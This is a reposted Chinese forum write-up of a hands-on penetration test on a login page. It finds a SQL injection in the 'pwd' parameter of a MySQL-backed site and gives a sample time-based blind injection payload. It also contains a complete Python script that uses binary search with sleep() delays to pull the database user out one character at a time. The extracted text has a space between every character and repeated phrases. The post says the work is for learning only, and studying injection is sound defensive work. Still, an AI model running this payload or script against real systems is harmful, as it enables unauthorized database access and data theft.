搜索

[761] 2021-04-21_实战简单的sql注入与脚本的编写

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-16
2021-04-21_实战简单的sql注入与脚本的编写 实 战   |   简 单 的 s q l 注 入 与 脚 本 的 编 写 b g b i n g 安 全   2 0 2 1 - 0 4 - 2 1 以 下 文 章 来 源 于 F 1 2 s e c   ， 作 者 s p a c e m a n 前 言 前 言 申 明 申 明 ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ 切 勿 用 于 其 它 用 途 ！ 来 自 团 队 师 傅 来 自 团 队 师 傅   s p a c e m a n P a r t . 1   漏 洞 挖 掘 过 程 漏 洞 挖 掘 过 程 登 录 页 面 如 下 随 便 手 动 尝 试 了 一 下 弱 密 码 ， 无 果 ， 于 是 尝 试 输 入 一 个 单 引 号 ， 鱼 鱼 鱼 ！ 报 错 ， 机 会 来 了 于 是 抓 包 分 析 尝 试 一 手 尝 试 在 c c 参 数 测 试 注 入 ， 发 现 好 像 也 不 太 对 F 1 2 s e c   . 攻 守 之 道 ， 先 立 于 不 败 之 地 而 后 求 胜 。
接 着 尝 试 ， 发 现 p w d 位 置 好 像 才 是 注 入 点 于 是 闭 合 注 释 ， 正 常 回 显 了 于 是 继 续 测 试 ， 通 过 报 错 我 们 也 得 知 了 是 m y s q l 数 据 库 所 以 可 以 选 择 使 用 时 间 盲 注 这 里 需 要 注 意 的 是 括 号 这 个 地 方 ， 因 为 这 个 与 之 前 一 般 的 s q l 注 入 不 一 样 ， 这 个 括 号 是 放 在 最 后 才 不 会 出 错 ， 而 不 是 放 在 单 引 号 后 面 了 解 了 原 理 之 后 就 可 以 自 己 编 写 二 分 法 脚 本 了 老 是 s q l m a p 梭 哈 没 多 大 意 思 ， 二 分 时 间 盲 注 脚 本 如 下 c c = 1 2 3 4 & p w d = 4 5 6 ’ a n d   i f ( ( l e n g t h ( d a t a b a s e ( ) ) = 8 ) , s l e e p ( 5 ) , 0 ) ) – + & k e y =
P a r t . 2   二 分 法 盲 注 脚 本 二 分 法 盲 注 脚 本 如 果 对 你 有 帮 助 的 话 如 果 对 你 有 帮 助 的 话 那 就 长 按 二 维 码 ， 关 注 我 们 吧 ！ 那 就 长 按 二 维 码 ， 关 注 我 们 吧 ！ #   - * -   c o d i n g : u t f - 8   - * - i m p o r t   r e q u e s t s f r o m   r e q u e s t s   i m p o r t   e x c e p t i o n s u r l   =   ' h t t p : / / i p / C h e c k U s e r ' d e f   m a i n ( ) :         r e s u l t   =   " "         f o r   i   i n   r a n g e ( 1 ,   2 0 ) :                 l o w   =   3 2                 h i g h   =   1 2 8                 w h i l e   l o w   <   h i g h :                         m i d   =   i n t ( ( l o w   +   h i g h )   /   2 )                         c o n t e n t   =   " s e l e c t   u s e r ( ) "                         s q l   =   f " 1 2 3 ' a n d   i f ( ( a s c i i ( s u b s t r ( ( { c o n t e n t } ) , { i } , 1 ) ) < { m i d } ) , s l e e p ( 5 ) , 0 ) ) - -   "                         d a t a   =   {                                 " c c " : ' 1 2 3 4 5 6 ' ,                                 " p w d " :   s q l ,                                 " k e y " : ' '                         }                         h e a d e r s   =   { " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 8 7 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 7 . 0 " ,   " A c c e p t " :   " * / * " ,   " A c c e p t - L a n g u a g e " :   " z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 "                         r   =   r e q u e s t s . p o s t ( u r l = u r l ,   d a t a = d a t a , h e a d e r s = h e a d e r s )                         i f   r . e l a p s e d . t o t a l _ s e c o n d s ( )   >   5 :                                 h i g h   =   m i d                         e l s e :                                 l o w   =   m i d   +   1                         p r i n t ( " [ + ]   A f t e r   c h a n g i n g   w e   g o t   { }   t o   { } " . f o r m a t ( l o w ,   h i g h ) )                 i f   l o w   = =   h i g h   = =   3 2 :                         p r i n t ( " [ * ]   R e s u l t   i s :   { } " . f o r m a t ( r e s u l t ) )                         b r e a k                 p r i n t ( " [ + ]   N o w   h a s   { } " . f o r m a t ( i ) )                 r e s u l t   + =   c h r ( i n t ( ( h i g h   +   l o w   -   1 )   /   2 ) )                 p r i n t ( " [ * ]   R e s u l t   n o w   i s :   { } " . f o r m a t ( r e s u l t ) ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         m a i n ( )


回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理